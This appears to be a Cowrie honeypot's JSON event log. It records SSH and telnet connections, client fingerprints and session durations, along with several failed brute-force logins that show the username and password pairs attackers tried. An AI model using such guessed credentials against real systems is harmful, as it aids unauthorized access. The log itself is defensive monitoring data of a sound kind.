{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57106,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c77328eea6","protocol":"telnet","message":"New connection: 192.119.13.58:57106 (10.17.0.5:23) [session: 91c77328eea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:40.558775Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46510,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e40a507b6a","protocol":"ssh","message":"New connection: 103.27.238.114:46510 (10.17.0.5:22) [session: 02e40a507b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:43.488771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:43.493772Z","src_ip":"103.27.238.114","session":"02e40a507b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3064489364624,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:43.525153Z","src_ip":"192.119.13.58","session":"e810f1f9ec3c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:43.764703Z","src_ip":"103.27.238.114","session":"02e40a507b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4815162342q","message":"login attempt [root/4815162342q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:44.576860Z","src_ip":"103.27.238.114","session":"02e40a507b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:45.850746Z","src_ip":"103.27.238.114","session":"02e40a507b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2158eabcd53","protocol":"ssh","message":"New connection: 176.32.39.21:33892 (10.17.0.5:22) [session: c2158eabcd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:48.583545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:48.591949Z","src_ip":"176.32.39.21","session":"c2158eabcd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:48.705051Z","src_ip":"176.32.39.21","session":"c2158eabcd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joshua","message":"login attempt [root/joshua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:49.172808Z","src_ip":"176.32.39.21","session":"c2158eabcd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.085590839385986,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:49.470548Z","src_ip":"192.119.13.58","session":"670a207d66fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15208387374878,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:49.794858Z","src_ip":"192.119.13.58","session":"e95199e4ef4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43262,"dst_ip":"10.17.0.5","dst_port":23,"session":"337e3e73a696","protocol":"telnet","message":"New connection: 192.119.13.58:43262 (10.17.0.5:23) [session: 337e3e73a696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:50.204805Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:50.296198Z","src_ip":"176.32.39.21","session":"c2158eabcd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"edbbe6bd26bf","protocol":"telnet","message":"New connection: 192.119.13.58:48906 (10.17.0.5:23) [session: edbbe6bd26bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:51.494651Z"}
{"eventid":"cowrie.session.closed","duration":45.13201141357422,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:01.547659Z","src_ip":"192.119.13.58","session":"a5a032c48a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.46406435966492,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:01.647625Z","src_ip":"192.119.13.58","session":"a48c741aa434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.45978116989136,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:02.903028Z","src_ip":"192.119.13.58","session":"272a1c248496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.346614599227905,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:03.841148Z","src_ip":"192.119.13.58","session":"edbbe6bd26bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.36719584465027,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:05.095092Z","src_ip":"192.119.13.58","session":"90f7f491464b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36090,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbe1781fa5d","protocol":"telnet","message":"New connection: 192.119.13.58:36090 (10.17.0.5:23) [session: adbe1781fa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:06.130601Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de4a55e87a6","protocol":"telnet","message":"New connection: 192.119.13.58:45366 (10.17.0.5:23) [session: 7de4a55e87a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:07.161399Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"714620fa0a27","protocol":"telnet","message":"New connection: 192.119.13.58:54884 (10.17.0.5:23) [session: 714620fa0a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:09.204681Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63200,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed6fe3914156","protocol":"ssh","message":"New connection: 152.42.212.128:63200 (10.17.0.5:22) [session: ed6fe3914156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:10.565298Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:10.570602Z","src_ip":"152.42.212.128","session":"ed6fe3914156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:10.575112Z","src_ip":"152.42.212.128","session":"ed6fe3914156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.777286767959595,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:10.701692Z","src_ip":"192.119.13.58","session":"28aa0ee8be18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81066584587097,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:14.369355Z","src_ip":"192.119.13.58","session":"91c77328eea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":43000,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa0eeb643e4f","protocol":"ssh","message":"New connection: 49.51.73.108:43000 (10.17.0.5:22) [session: aa0eeb643e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:18.149390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:18.153957Z","src_ip":"49.51.73.108","session":"aa0eeb643e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:18.222425Z","src_ip":"49.51.73.108","session":"aa0eeb643e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"maya","message":"login attempt [maya/maya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:18.529007Z","src_ip":"49.51.73.108","session":"aa0eeb643e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:19.599366Z","src_ip":"49.51.73.108","session":"aa0eeb643e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57bb119f891","protocol":"telnet","message":"New connection: 192.119.13.58:41246 (10.17.0.5:23) [session: d57bb119f891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:24.751121Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef683427df0","protocol":"telnet","message":"New connection: 192.119.13.58:41526 (10.17.0.5:23) [session: 7ef683427df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:24.809929Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48362,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29fba4804c1","protocol":"ssh","message":"New connection: 193.32.162.145:48362 (10.17.0.5:22) [session: e29fba4804c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:27.734811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:27.739248Z","src_ip":"193.32.162.145","session":"e29fba4804c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:27.847367Z","src_ip":"193.32.162.145","session":"e29fba4804c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:28.167942Z","src_ip":"193.32.162.145","session":"e29fba4804c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:29.277967Z","src_ip":"193.32.162.145","session":"e29fba4804c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":40974,"dst_ip":"10.17.0.5","dst_port":22,"session":"7934146bedf9","protocol":"ssh","message":"New connection: 193.46.255.86:40974 (10.17.0.5:22) [session: 7934146bedf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:32.490872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:32.495583Z","src_ip":"193.46.255.86","session":"7934146bedf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:32.621217Z","src_ip":"193.46.255.86","session":"7934146bedf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:33.199090Z","src_ip":"193.46.255.86","session":"7934146bedf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:34.327930Z","src_ip":"193.46.255.86","session":"7934146bedf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60590,"dst_ip":"159.203.135.109","dst_port":22,"session":"a165dce92523","protocol":"ssh","message":"New connection: 109.237.96.109:60590 (159.203.135.109:22) [session: a165dce92523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:41.723211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:41.735678Z","src_ip":"109.237.96.109","session":"a165dce92523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:41.832794Z","src_ip":"109.237.96.109","session":"a165dce92523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc3c9e56c512","protocol":"telnet","message":"New connection: 192.119.13.58:58706 (10.17.0.5:23) [session: cc3c9e56c512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:41.886560Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcjnrf","message":"login attempt [root/rhfcjnrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:42.109891Z","src_ip":"109.237.96.109","session":"a165dce92523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:43.239532Z","src_ip":"109.237.96.109","session":"a165dce92523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35784,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d9af73f1b6","protocol":"ssh","message":"New connection: 103.77.175.15:35784 (159.203.135.109:22) [session: 63d9af73f1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:43.520836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:42:43.529358Z","src_ip":"103.77.175.15","session":"63d9af73f1b6","protocol":"ssh"}
